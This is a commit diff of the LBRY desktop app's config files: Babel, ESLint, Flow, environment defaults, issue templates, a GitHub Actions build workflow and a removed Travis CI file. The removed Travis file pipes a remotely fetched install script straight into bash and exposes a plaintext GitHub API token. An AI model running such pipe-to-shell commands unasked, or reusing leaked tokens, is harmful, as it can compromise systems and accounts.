Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
60ec0468e6 |
No files matched your search
@@ -1,12 +0,0 @@
|
||||
{
|
||||
"presets": ["@babel/react", "@babel/flow"],
|
||||
"plugins": [
|
||||
"import-glob",
|
||||
"@babel/plugin-transform-runtime",
|
||||
"@babel/plugin-syntax-dynamic-import",
|
||||
"react-hot-loader/babel",
|
||||
["@babel/plugin-proposal-decorators", { "decoratorsBeforeExport": true }],
|
||||
"@babel/plugin-transform-flow-strip-types",
|
||||
"@babel/plugin-proposal-class-properties",
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
# Copy this file to .env to make modifications
|
||||
|
||||
# Base config
|
||||
MATOMO_URL=https://analytics.lbry.com/
|
||||
MATOMO_ID=4
|
||||
WEBPACK_WEB_PORT=9090
|
||||
WEBPACK_ELECTRON_PORT=9091
|
||||
WEB_SERVER_PORT=1337
|
||||
LBRY_WEB_API=https://api.lbry.tv
|
||||
LBRY_WEB_STREAMING_API=https://cdn.lbryplayer.xyz
|
||||
LBRY_WEB_BUFFER_API=https://collector-service.api.lbry.tv/api/v1/events/video
|
||||
COMMENT_SERVER_API=https://comments.lbry.com/api/v2
|
||||
WELCOME_VERSION=1.0
|
||||
|
||||
# Custom Site info
|
||||
DOMAIN=lbry.tv
|
||||
URL=https://lbry.tv
|
||||
THUMBNAIL_CDN_URL=https://image-optimizer.vanwanet.com/?address=
|
||||
|
||||
# UI
|
||||
SITE_TITLE=lbry.tv
|
||||
SITE_NAME=lbry.tv
|
||||
SITE_DESCRIPTION=Meet LBRY, an open, free, and community-controlled content wonderland.
|
||||
SITE_HELP_EMAIL=help@lbry.com
|
||||
LOGO_TITLE=lbry.tv
|
||||
SIMPLE_SITE=false
|
||||
SHOW_ADS=true
|
||||
YRBL_HAPPY_IMG_URL=https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-happy/7aa50a7e5adaf48691935d55e45d697547392929/839d9a
|
||||
YRBL_SAD_IMG_URL=https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-sad/c2d9649633d974e5ffb503925e1f17d951f1bd0f/f262dd
|
||||
ENABLE_COMMENT_REACTIONS=true
|
||||
ENABLE_FILE_REACTIONS=false
|
||||
ENABLE_CREATOR_REACTIONS=false
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS=4
|
||||
|
||||
# OG
|
||||
OG_TITLE_SUFFIX=| lbry.tv
|
||||
OG_HOMEPAGE_TITLE=lbry.tv
|
||||
OG_IMAGE_URL=
|
||||
SITE_CANONICAL_URL=https://lbry.tv
|
||||
|
||||
# LOCALE
|
||||
DEFAULT_LANGUAGE=en
|
||||
|
||||
# Custom Settings
|
||||
# Additional settings for below are found in ui/constants/settings and are for
|
||||
# preventing user settings from applying to custom sites without overwriting them.
|
||||
# UNSYNCED_SETTINGS='theme dark_mode_times automatic_dark_mode_enabled'
|
||||
KNOWN_APP_DOMAINS=lbry.tv,lbry.lat,odysee.com
|
||||
|
||||
# Custom Content
|
||||
# If the following is true, copy custom/homepage.example.js to custom/homepage.js and modify
|
||||
CUSTOM_HOMEPAGE=false
|
||||
# Add channels to auto-follow on first run
|
||||
AUTO_FOLLOW_CHANNELS=lbry://@lbry#3fda836a92faaceedfe398225fb9b2ee2ed1f01a
|
||||
# Add up to 2 sidebar links:
|
||||
# PINNED_URI_1=@Lbrylatam#2/Integracionesporseguridad#4
|
||||
# PINNED_LABEL_1=LBRY LATAM
|
||||
# PINNED_URI_2=$/discover?t=lbrytvpaidbeta&fee_amount=>0&claim_type=stream&channel_ids=5af39f818f668d8c00943c9326c5201c4fe3c423,cda9c4e92f19d6fe0764524a2012056e06ca2055,760da3ba3dd85830a843beaaed543a89b7a367e7,40c36948f0da072dcba3e4833e90f71e16de78be,e8f68563d242f6ac9784dcbc41dd86c28a9391d6,7236fc5d2783ea7314d9076ae6c8a250e3992d1a,cf7792c2a37d0d76aaaff84aff0b99a8c791429d,8316ac90764fedf3147799b7b81a6575a9cc398e,8627af93c1a1219150f06b698f4b33e6ed2f1c1e,8972a1bd06de5186e5e89292b05aac8aaa817791,c5b0b17838df2f6c31162f64d55f60f34ae8bfc6,f576d5dba905fc179de880c3fe3eb3281ea74f59,97dd77c93c9603cbb2583f3589f7f5a6c92baa43,f399d873e0c37cf24de9569b5f22bbb30a5c6709,dba870d0620d41b2b9a152c961e0c06cf875ccfc,ca1fd651c9d14bf2e5088bb2aa0146ee7aeb2ae0,50ad846a4b1543b847bf3fdafb7b45f6b2f5844c,e09ff5abe9fb44dd0dd0576894a6db60a6211603,7b6f7517f6b816827d076fa0eaad550aa315a4e7,2068452c41d8da3bd68961335da0072a99258a1a,5da63df97c8255ae94a88940695b8471657dd5a1,3645cf2f5d0bdac0523f945be1c3ff60758f7845,4da85b12244839d6368b9290f1619ff9514ab2a8,4ad942982e43326c7700b1b6443049b3cfd82161,55304f219244abf82f684f759cc0c7769242f3b4,8f42e5b592bb7f7a03f4a94a86a41b1236bb099f,e2a014d885a48f5be2dc6409610996337312facb,c18996ca488753f714d36d4654715927c1d7f9c2,ebc4214424cfa683a7046e1f794fea1e44788d84,06b6d6d6a893fb589ec2ded948f5122856921ed5,07e4546674268fc0222b2ca22d31d0549dc217ee,060940e41973d4f7f16d72a2733138e931c35f41,f8d6eccd887c9cebd36b1d42aa349279b7f5c3ed,68098b8426f967b8d04cc566348b5c128823219e,2bfe6cdb24a21bdc1b76fb7c416edd50e9e85945,1f9bb08bfa2259629f4aaa9ed40f97e9a41b6fa1,2f20148495612946675fe1c8ea99171e4d950b81,bc6938fa1e09e840056c2e831abf9664f397c472,2a6194792beac5130641e932b5ac6e5a99b5ca4f,185ba2bd547a5e4a77d29fe6c1484f47db5e058f,29cc7f6081268eaa5b3f2946e0cd0b952a94812c,49389450b1241f5d8f4c8c4271a3eb56bba33965,ffdc62ac2f7549398d3aca9d2119e83d80d588d5,d7a4d2808074b0c55d6b239f69d90e7a4930f943,d58aa4a0b2f6c2504c3abce8de3f1afb71800acc,77ae23dc7eb8a75609881d4548a79e4935a89d37,f79bce8a60fbece671f6265adc39f6469f3b9b8c,051995fdf0af634e4911704057a551e9392e62b1
|
||||
# PINNED_LABEL_2=Paid Beta
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
node_modules/*
|
||||
./node_modules/**
|
||||
**/node_modules/**
|
||||
web/dist/**
|
||||
@@ -2,13 +2,6 @@
|
||||
"parser": "babel-eslint",
|
||||
"extends": ["standard", "standard-jsx", "plugin:react/recommended", "plugin:flowtype/recommended"],
|
||||
"plugins": ["flowtype", "import", "react-hooks"],
|
||||
"settings": {
|
||||
"import/resolver": {
|
||||
"webpack": {
|
||||
"config": "webpack.base.config.js"
|
||||
}
|
||||
}
|
||||
},
|
||||
"env": {
|
||||
"browser": true,
|
||||
"node": true
|
||||
@@ -17,19 +10,25 @@
|
||||
"__static": true,
|
||||
"i18n": true,
|
||||
"__": true,
|
||||
"__n": true,
|
||||
"app": true,
|
||||
"IS_WEB": true,
|
||||
"WEBPACK_PORT": true
|
||||
},
|
||||
"settings": {
|
||||
"react": {
|
||||
"version": "detect"
|
||||
}
|
||||
},
|
||||
"rules": {
|
||||
"brace-style": 0,
|
||||
"camelcase": 0,
|
||||
"comma-dangle": ["error", "always-multiline"],
|
||||
"handle-callback-err": 0,
|
||||
"indent": 0,
|
||||
"jsx-quotes": ["error", "prefer-double"],
|
||||
"new-cap": 0,
|
||||
"no-console": 1,
|
||||
"no-control-regex": 0,
|
||||
"no-multi-spaces": 0,
|
||||
"no-redeclare": 0,
|
||||
"no-return-await": 0,
|
||||
@@ -37,9 +36,18 @@
|
||||
"one-var": 0,
|
||||
"prefer-promise-reject-errors": 0,
|
||||
"react/jsx-indent": 0,
|
||||
"react/jsx-no-comment-textnodes": 0,
|
||||
"react-hooks/exhaustive-deps": "warn",
|
||||
"react-hooks/rules-of-hooks": "error",
|
||||
"space-before-function-paren": ["error", "never"],
|
||||
"react/no-unescaped-entities": 0,
|
||||
"space-before-function-paren": [
|
||||
"error",
|
||||
{
|
||||
"anonymous": "never",
|
||||
"named": "never",
|
||||
"asyncArrow": "always"
|
||||
}
|
||||
],
|
||||
"standard/object-curly-even-spacing": 0,
|
||||
"standard/no-callback-literal": 0,
|
||||
"react/display-name": 0,
|
||||
+28
-13
@@ -1,28 +1,43 @@
|
||||
[ignore]
|
||||
.*\.typeface\.json
|
||||
.*/node_modules/findup/.*
|
||||
|
||||
|
||||
[include]
|
||||
|
||||
[libs]
|
||||
./flow-typed
|
||||
node_modules/lbry-redux/flow-typed/
|
||||
node_modules/lbryinc/flow-typed/
|
||||
|
||||
[untyped]
|
||||
.*/node_modules/lbry-redux
|
||||
.*/node_modules/lbryinc
|
||||
|
||||
[lints]
|
||||
|
||||
[options]
|
||||
suppress_comment=\\(.\\|\n\\)*\\$FlowFixMe
|
||||
suppress_comment=\\(.\\|\n\\)*\\$FlowIssue
|
||||
module.name_mapper='^constants\(.*\)$' -> '<PROJECT_ROOT>/src/ui/constants\1'
|
||||
module.name_mapper='^util\(.*\)$' -> '<PROJECT_ROOT>/src/ui/util\1'
|
||||
module.name_mapper='^redux\(.*\)$' -> '<PROJECT_ROOT>/src/ui/redux\1'
|
||||
module.name_mapper='^types\(.*\)$' -> '<PROJECT_ROOT>/src/ui/types\1'
|
||||
module.name_mapper='^component\(.*\)$' -> '<PROJECT_ROOT>/src/ui/component\1'
|
||||
module.name_mapper='^page\(.*\)$' -> '<PROJECT_ROOT>/src/ui/page\1'
|
||||
module.name_mapper='^lbry\(.*\)$' -> '<PROJECT_ROOT>/src/ui/lbry\1'
|
||||
module.name_mapper='^modal\(.*\)$' -> '<PROJECT_ROOT>/src/ui/modal\1'
|
||||
module.name_mapper='^app\(.*\)$' -> '<PROJECT_ROOT>/src/ui/app\1'
|
||||
module.name_mapper='^native\(.*\)$' -> '<PROJECT_ROOT>/src/ui/native\1'
|
||||
module.name_mapper='^analytics\(.*\)$' -> '<PROJECT_ROOT>/src/ui/analytics\1'
|
||||
module.name_mapper='^i18n\(.*\)$' -> '<PROJECT_ROOT>/src/ui/i18n\1'
|
||||
|
||||
module.name_mapper='^constants\(.*\)$' -> '<PROJECT_ROOT>/ui/constants\1'
|
||||
module.name_mapper='^util\(.*\)$' -> '<PROJECT_ROOT>/ui/util\1'
|
||||
module.name_mapper='^redux\(.*\)$' -> '<PROJECT_ROOT>/ui/redux\1'
|
||||
module.name_mapper='^types\(.*\)$' -> '<PROJECT_ROOT>/ui/types\1'
|
||||
module.name_mapper='^component\(.*\)$' -> '<PROJECT_ROOT>/ui/component\1'
|
||||
module.name_mapper='^page\(.*\)$' -> '<PROJECT_ROOT>/ui/page\1'
|
||||
module.name_mapper='^lbry\(.*\)$' -> '<PROJECT_ROOT>/ui/lbry\1'
|
||||
module.name_mapper='^modal\(.*\)$' -> '<PROJECT_ROOT>/ui/modal\1'
|
||||
module.name_mapper='^app\(.*\)$' -> '<PROJECT_ROOT>/ui/app\1'
|
||||
module.name_mapper='^native\(.*\)$' -> '<PROJECT_ROOT>/ui/native\1'
|
||||
module.name_mapper='^analytics\(.*\)$' -> '<PROJECT_ROOT>/ui/analytics\1'
|
||||
module.name_mapper='^rewards\(.*\)$' -> '<PROJECT_ROOT>/ui/rewards\1'
|
||||
module.name_mapper='^i18n\(.*\)$' -> '<PROJECT_ROOT>/ui/i18n\1'
|
||||
module.name_mapper='^effects\(.*\)$' -> '<PROJECT_ROOT>/ui/effects\1'
|
||||
module.name_mapper='^comments\(.*\)$' -> '<PROJECT_ROOT>/ui/comments\1'
|
||||
module.name_mapper='^config\(.*\)$' -> '<PROJECT_ROOT>/config\1'
|
||||
module.name_mapper='^web\/component\(.*\)$' -> '<PROJECT_ROOT>/web/component\1'
|
||||
module.name_mapper='^web\/effects\(.*\)$' -> '<PROJECT_ROOT>/web/effects\1'
|
||||
module.name_mapper='^web\/page\(.*\)$' -> '<PROJECT_ROOT>/web/page\1'
|
||||
module.name_mapper='^homepage\(.*\)$' -> '<PROJECT_ROOT>/ui/util/homepage\1'
|
||||
|
||||
[strict]
|
||||
@@ -1,3 +1,12 @@
|
||||
---
|
||||
name: "\U0001F41BBug report"
|
||||
about: "Something isn't working \U0001F915"
|
||||
title: ''
|
||||
labels: 'type: bug'
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
<!--
|
||||
Thanks for reporting an issue to LBRY and helping us improve!
|
||||
|
||||
@@ -10,25 +19,23 @@ Before reporting any issues, please make sure that you're using the latest versi
|
||||
We are also available on live chat at https://chat.lbry.com
|
||||
-->
|
||||
|
||||
## The Issue
|
||||
**Bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
### Steps to Reproduce
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
1. 2. 3.
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
### Expected Behavior
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
Tell us what should happen.
|
||||
|
||||
### Actual Behavior
|
||||
|
||||
Tell us what happens instead.
|
||||
|
||||
### Suggested Solutions
|
||||
|
||||
Tell us your suggested solutions if you have any.
|
||||
|
||||
## System Configuration
|
||||
**System Configuration**
|
||||
|
||||
<!-- For the app, this info is in the About section at the bottom of the Help page.
|
||||
You can include a screenshot instead of typing it out -->
|
||||
@@ -42,10 +49,6 @@ Tell us your suggested solutions if you have any.
|
||||
- LBRY Installation ID:
|
||||
- Operating system:
|
||||
|
||||
## Anything Else
|
||||
|
||||
<!-- Include anything else that does not fit into the above sections -->
|
||||
|
||||
## Screenshots
|
||||
|
||||
<!-- If a screenshot would help explain the bug, please include one or two here -->
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
@@ -0,0 +1,20 @@
|
||||
---
|
||||
name: "\U0001F680Feature request"
|
||||
about: "I have a suggestion (and might want to implement it \U0001F60A)"
|
||||
title: ''
|
||||
labels: 'type: new feature'
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
@@ -0,0 +1,22 @@
|
||||
---
|
||||
name: "❤️Say thank you"
|
||||
about: If you enjoy using the LBRY app, let us know!
|
||||
title: LBRY rocks!
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
If you are using the LBRY app - please let us know. We'd love to hear from you!
|
||||
|
||||
If you would like to help Nock - any of the following is greatly appreciated.
|
||||
|
||||
- Give the repository a star ⭐️
|
||||
- Help out with issues
|
||||
- Blog about LBRY
|
||||
- Make tutorials
|
||||
- Give talks
|
||||
- Convince other people to use LBRY
|
||||
- Anything your heart desires
|
||||
|
||||
Thank you! 💐
|
||||
@@ -0,0 +1,98 @@
|
||||
name: Node.js CI
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [master]
|
||||
pull_request:
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: lint
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- uses: Borales/actions-yarn@v2.3.0
|
||||
- run: yarn lint
|
||||
|
||||
build:
|
||||
needs: ['lint']
|
||||
name: 'build'
|
||||
strategy:
|
||||
matrix:
|
||||
node-version: [14.x]
|
||||
os:
|
||||
- ubuntu-latest
|
||||
- macos-latest
|
||||
- windows-latest
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- uses: actions/setup-node@v2-beta
|
||||
with:
|
||||
node-version: ${{ matrix.node-version }}
|
||||
|
||||
- uses: maxim-lobanov/setup-xcode@v1
|
||||
if: startsWith(runner.os, 'mac')
|
||||
with:
|
||||
xcode-version: '10.3.0'
|
||||
|
||||
- name: Download blockchain headers
|
||||
run: |
|
||||
mkdir -p ./static/daemon
|
||||
curl -o ./static/daemon/headers https://headers.lbry.io/blockchain_headers_latest
|
||||
ls ./static/daemon
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
yarn global add cross-env
|
||||
yarn
|
||||
yarn build
|
||||
node ./build/afterSignHook.js
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GH_TOKEN }}
|
||||
NOTARIZATION_USERNAME: ${{ secrets.NOTARIZATION_USERNAME }}
|
||||
NOTARIZATION_PASSWORD: ${{ secrets.NOTARIZATION_PASSWORD }}
|
||||
WIN_CSC_KEY_PASSWORD: ${{ secrets.WIN_CSC_KEY_PASSWORD }}
|
||||
CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }}
|
||||
WIN_CSC_LINK: https://s3.amazonaws.com/files.lbry.io/cert/win-csc-2020-2021-08.p12
|
||||
CSC_LINK: https://s3.amazonaws.com/files.lbry.io/cert/osx-cert.p12
|
||||
|
||||
# UI
|
||||
MATOMO_URL: https://analytics.lbry.com/
|
||||
MATOMO_ID: 4
|
||||
WELCOME_VERSION: 1.0
|
||||
DOMAIN: lbry.tv
|
||||
URL: https://lbry.tv
|
||||
SHARE_DOMAIN_URL: https://open.lbry.com
|
||||
SITE_TITLE: lbry.tv
|
||||
SITE_NAME: lbry.tv
|
||||
SHOW_ADS: false
|
||||
YRBL_HAPPY_IMG_URL: https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-happy/7aa50a7e5adaf48691935d55e45d697547392929/839d9a
|
||||
YRBL_SAD_IMG_URL: https://cdn.lbryplayer.xyz/api/v3/streams/free/yrbl-sad/c2d9649633d974e5ffb503925e1f17d951f1bd0f/f262dd
|
||||
ENABLE_COMMENT_REACTIONS: true
|
||||
DEFAULT_LANGUAGE: en
|
||||
KNOWN_APP_DOMAINS: lbry.tv,lbry.lat,odysee.com
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS: 0
|
||||
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: |
|
||||
startsWith(runner.os, 'linux')
|
||||
with:
|
||||
name: Linux
|
||||
path: ./dist/electron/*.*
|
||||
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: |
|
||||
startsWith(runner.os, 'mac')
|
||||
with:
|
||||
name: macOS
|
||||
path: ./dist/electron/*.*
|
||||
|
||||
- uses: actions/upload-artifact@v2
|
||||
if: |
|
||||
github.event.pull_request.head.repo.full_name == github.repository
|
||||
with:
|
||||
name: Windows
|
||||
path: ./dist/electron/*.*
|
||||
+22
-2
@@ -1,6 +1,10 @@
|
||||
### macOS ###
|
||||
# General
|
||||
.DS_Store
|
||||
/node_modules
|
||||
/dist
|
||||
.AppleDouble
|
||||
.LSOverride
|
||||
node_modules
|
||||
dist
|
||||
/static/lbrynet*
|
||||
/static/daemon
|
||||
/static/locales
|
||||
@@ -9,3 +13,19 @@ package-lock.json
|
||||
.transifexrc
|
||||
.idea/
|
||||
/build/daemon*
|
||||
/lbrytv/dist/
|
||||
/lbrytv/node_modules
|
||||
/static/lbry-first/
|
||||
/build/lbryFirst*
|
||||
/web/dist/*
|
||||
/web/node_modules/*
|
||||
/web/.env
|
||||
/web/.env.defaults
|
||||
/custom/*
|
||||
/custom/homepages/*
|
||||
!/custom/homepages/.gitkeep
|
||||
!/custom/homepages
|
||||
!/custom/homepage.example.js
|
||||
!/custom/robots.disallowall
|
||||
!/custom/robots.allowall
|
||||
.env
|
||||
+6
-3
@@ -1,6 +1,9 @@
|
||||
{
|
||||
"linters": {
|
||||
"src/**/*.{js,jsx,scss,json}": ["prettier --write", "git add"],
|
||||
"src/**/*.{js,jsx}": ["eslint", "flow focus-check --color always", "git add"]
|
||||
}
|
||||
"ui/**/*.{js,jsx,scss,json}": ["prettier --write", "git add"],
|
||||
"web/**/*.{js,jsx,scss,json}": ["prettier --write", "git add"],
|
||||
"ui/**/*.{js,jsx}": ["eslint", "flow focus-check --color always", "git add"],
|
||||
"web/**/*.{js,jsx,scss}": ["eslint", "git add"]
|
||||
},
|
||||
"ignore": ["node_modules", "web/dist/**/*", "dist/**/*", "package-lock.json"]
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
[defaults]
|
||||
url = https://sentry.lbry.tech/
|
||||
org = lbry
|
||||
project = lbry-desktop-web
|
||||
-77
@@ -1,77 +0,0 @@
|
||||
matrix:
|
||||
include:
|
||||
- os: osx
|
||||
env: TARGET=mac
|
||||
osx_image: xcode9.2
|
||||
language: node_js
|
||||
node_js: '10'
|
||||
- os: linux
|
||||
env: TARGET=windows
|
||||
services: docker
|
||||
language: node_js
|
||||
node_js: '10'
|
||||
- os: linux
|
||||
env: TARGET=linux
|
||||
language: node_js
|
||||
node_js: '10'
|
||||
cache: false
|
||||
before_install:
|
||||
- |
|
||||
unset TRAVIS_COMMIT_MESSAGE;
|
||||
if [ "$TRAVIS_OS_NAME" == "osx" ]; then
|
||||
mkdir -p /tmp/git-lfs && curl -L https://github.com/github/git-lfs/releases/download/v2.3.1/git-lfs-$([ "$TRAVIS_OS_NAME" == "linux" ] && echo "linux" || echo "darwin")-amd64-2.3.1.tar.gz | tar -xz -C /tmp/git-lfs --strip-components 1
|
||||
export PATH="/tmp/git-lfs:$PATH"
|
||||
else
|
||||
sudo apt-get -qq update
|
||||
sudo apt-get install -y libsecret-1-dev
|
||||
sudo apt-get install --no-install-recommends -y gcc-multilib g++-multilib
|
||||
curl -o- -L https://yarnpkg.com/install.sh | bash -s -- --version 1.6.0
|
||||
export PATH="$HOME/.yarn/bin:$PATH"
|
||||
fi
|
||||
before_script:
|
||||
- git lfs pull
|
||||
- if [ "$TRAVIS_PULL_REQUEST" != "false" ]; then unset WIN_CSC_LINK; unset CSC_LINK; fi
|
||||
script:
|
||||
- |
|
||||
if [ "$TARGET" == "windows" ]; then
|
||||
# Remove any special characters before adding to our list of ENVs
|
||||
# https://github.com/electron-userland/electron-builder/issues/2450#issuecomment-421788155
|
||||
ENVS=`env | grep -iE '(DEBUG|NODE_|ELECTRON_|YARN_|NPM_|CI|CIRCLE|TRAVIS|APPVEYOR_|CSC_|_TOKEN|_KEY|AWS_|STRIP|BUILD_|TARGET)([A-Z]|_)*=' | sed -n '/^[^\t]/s/=.*//p' | sed '/^$/d' | sed 's/^/-e /g' | tr '\n' ' '`
|
||||
docker run $ENVS --rm \
|
||||
-v ${PWD}:/project \
|
||||
electronuserland/builder:wine \
|
||||
/bin/bash -c "env | grep -v '\r' | grep -iE 'DEBUG|TARGET|NODE_|ELECTRON_|YARN_|NPM_|CI|CIRCLE|TRAVIS|APPVEYOR_|CSC_|GH_|GITHUB_|BT_|AWS_|STRIP|BUILD_|WIN_' && yarn --link-duplicates --pure-lockfile && yarn build --win --publish onTag";
|
||||
fi
|
||||
- if [ "$TARGET" == "mac" ]; then yarn build --publish onTag; fi
|
||||
- if [ "$TARGET" == "linux" ]; then yarn --link-duplicates --pure-lockfile && yarn
|
||||
build --linux --publish onTag; fi
|
||||
addons:
|
||||
artifacts:
|
||||
working_dir: dist
|
||||
paths:
|
||||
- $(git ls-files -o dist/{*.dmg,*.exe,*.deb} | tr "\n" ":")
|
||||
target_paths:
|
||||
- '/app/build-${TRAVIS_BUILD_NUMBER}_commit-${TRAVIS_COMMIT:0:7}$([ ! -z ${TRAVIS_TAG}
|
||||
] && echo _tag-${TRAVIS_TAG})'
|
||||
env:
|
||||
global:
|
||||
- ARTIFACTS_REGION=us-east-1
|
||||
- ARTIFACTS_BUCKET=build.lbry.io
|
||||
- DANGER_GITHUB_API_TOKEN=f8b612049cbda985c251e18ae36c7a2b9c6c92df
|
||||
- ARTIFACTS_DEBUG=1
|
||||
- WIN_CSC_LINK=https://s3.amazonaws.com/files.lbry.io/cert/win-csc-2018-2019-08.p12
|
||||
- CSC_LINK=https://s3.amazonaws.com/files.lbry.io/cert/osx-cert.p12
|
||||
#AWS_SECRET_ACCESS_KEY
|
||||
- secure: aF0dZ1ub0r6X5SaTH7YYRpV8cl2gkU2tA7y2tkvGZQL0+Vv2FvkhwaXREa9IM9djm7r3W7I8vEekk6Skn300kIBwQ04COxgu+Oeqjsc2a529wmF9AN5EwKExKkVQFIjMjpMBmd/fE05PD29C0vULdtIMX8uhDe5zFE+tGD1QmwKVZ+55oCxJmt7vsQwQr46s/BsPODrZhvSUPWTUG4HSsc5DJwe/XYY+35vWQsnpCkBVabAZg+lnOpqLioRNzTsBX1oSkqTX9uvOC6fN+NlpbJWetzXsBciFcMHQCx9UHxu+Ibn3W3V8FVYRuFLAinhIg+JoVQHU8mH60ggjizATpgx12riP9e/Uwho5x5bgIYmnIBf4AHqupPv40iC/THMvsS08hCQHicu+/WiAvvN8wNQ1sqpj0+RTreB+4/qdRdwTs70t4jNV83cP+nAuekMCC7uYQ08GLmFNaa+x8NgDZa3JQv7EmXU0ALWVPeJ9UEV+dhEs5iI+7bLEhTUOuvBBWo17F4pst3pfS1j7md1x4wKFRWyP7IFmjK+L1KiAH94c/LIz2Nlp5yCDfbcwU5W/wCHYAxu5c8qnAlkxeub0GpxtZ66j6oOehk1lsHYxaZcBxyn7XhM1A6Mjxgy9OG0WGyYun8iH3aa4WcY0BO21l7je75s7l0qNSRS80st8kUE=
|
||||
#AWS_ACCESS_KEY_ID
|
||||
- secure: HHlUGaEjk0qsW9qb/93jdFhJypiDuJ0e6Z4UClW3ciMfdZ22Ur4D0oL0mgVguigTjdkf1Yy4Z1kWtWvtvQ8DBI+mdOl5GTMpX5nMattcuK/4gFXmqz30S3c07IPkilGKkAT64JqRGT7AvQTaV/tXqNNN9BbWCTAJSnhfzYJFvZQjnSmAAQvbqzMWEEein53244fWbDio462T7vzfbEHJD1pVUSrAMrKDgFSrIKJf4GQHceUk+fqWBjAsWN8USboo88JSLXn5qhD3ZczsgtZ2gi2KTvdfrHfZ5SpOzwc2AGr8U1laQzzW8c8xsPJPmM/3dCri/clcXassa4t/+2INYTPhKbmaD9hvjFRRMpoNjMCmPRJOmojxit8tqzCrw4nSGdr3/Bt0JjpLq90mfyL83YYU4gJXF97KzTl0lCy/DFXjBiHA9riRJVaXn3CI6L0i1RLCJI+C/rT9ErFB767t0aQtXlIWSZQ+IqWaoUdp57t0e2EtbRcjK7IYIXLNgZSbR0bY/TS005D/xZkexCpAtcV9F6iqDYP3HbGyiQqC75se0MqpNrZAx1a7WsSnumOcmtuU6LRriwjM0GXEACfGLCp4w4LBzKPwrOOg4QOhewHKgxpUff8KMlfTZ+Z8B7NBNjKSPbxiMedmpsiWpPRy6VeyvwNz32PUpjdsF3tIYMk=
|
||||
#GH_TOKEN
|
||||
- secure: g0gSiOmCKFzxLFV//oogmex+MkumCcGJ8CtvLzojAw1qhI1P6dGRH06yuCgBNW4PQGbbrYR2tntGEeq66LZ1bU7BJ2bdkv5lBi15JPH4POpA3OSc88YebitKIyIBI2WHA3VNCkF1JEFvrfTUX+4PjP+9h6vZ9tdfzezNTpc70SrGkWMhaoe+F8u6jCL63VBpnncf0foz3WlqUFNoIdinQLYxI6S2QmHz1p1HToC+MOosBgWDufX2+6B/Efq7JDFZgx/zItFzR1OCafKx8rScUd4woAqK+8mt862IzzEbztTv6IPSdhx/hsbO7rHMcjDFk/MuDeC9TaaXqMvvKmLuvWKH+dy4BvIiJJ/WuDfzumrw+8BvTbcnXFXkEXTlkQnZD0otBZsmI4/OPH5vIGUmVIwBFXjPBcNq/Xwig8hRCxrdioEZPO4C17fMCdOn3gAx+GcMddfAIKnrlG/XK2jL8kCylL7++OEkedzYiHWA7p9eaJDjxYmIxKcfYTyF4VIMYS/wAC5W1zi1AjM5BiUhBGp/Vd+f3UUTOsqWOmS4A8cqhK/rbx4xgdwUuv2DoljeQtWd2xdZFr10L2ErmEIdfdtZBVyauaGOhhXUqpSAB5PAwSRNNWkZFCJXmqMHemih4jlfN/KS+rujh5dbyXz81BPjyxrDAziO4Q19rz7hmVI=
|
||||
#ARTIFACTS_KEY
|
||||
- secure: giJRkODdgvMpaLh58c3UKTy6j3IjUVQ2wVvLmECN8caVLuBnEp3U56rUT7sQPzeMoaF9goOLKXD1o+qKdGsLz2Dedi/3vFr3IXTgpYwO03eMkylYUDUwKXV1Fv14ME+wknw/Fshmty1XAc/RwlTaCks9usIRT9OE75HvV8ILVfLdSwwRR/TKFEdEDjAY/3ROVFsleDKBIe1AG/AHeN37Mwqfo39zpN5Zidm3HUegujsMsHtPQtUUCvCxiaiBtqIz79WQuiXjelLWrV53k+ulpptz4T6M8FO5jxBCL5HQMbYy4J8BhukAPHUcTVzarsDe1XEmP6xtClcAydMiHmzUBh9VbvRF8AKwGGO41g6OasgMaJ/eUlACGWTIS2AsqgkXCEgWRtswwI4edLgT/F74fKxGV82zRYLcmjWceGc9H6m2YfIIQZ2PNsDloFgTWa63oZ1sT20fWmNohD3IgVK21rjrCnMbp5/RfBdihR1+GsS8wMA15nhUW3SHfSHKV0009FZdDjxgmigjjmFt1/SM8YGZDijQc7DoUsrScR9n2JR+KVqEED3BYOviw0M0blb6b2dqK0A3+N5C1RGt8Uu8AAuAzdPDviL38m4n1UOdI1Tij1boSfr1USvfipPfQXrqSWHIY3RITMmjPREmcdj2dbhjoUEFaFfp/b3sJxUI3I4=
|
||||
#ARTIFACTS_SECRET
|
||||
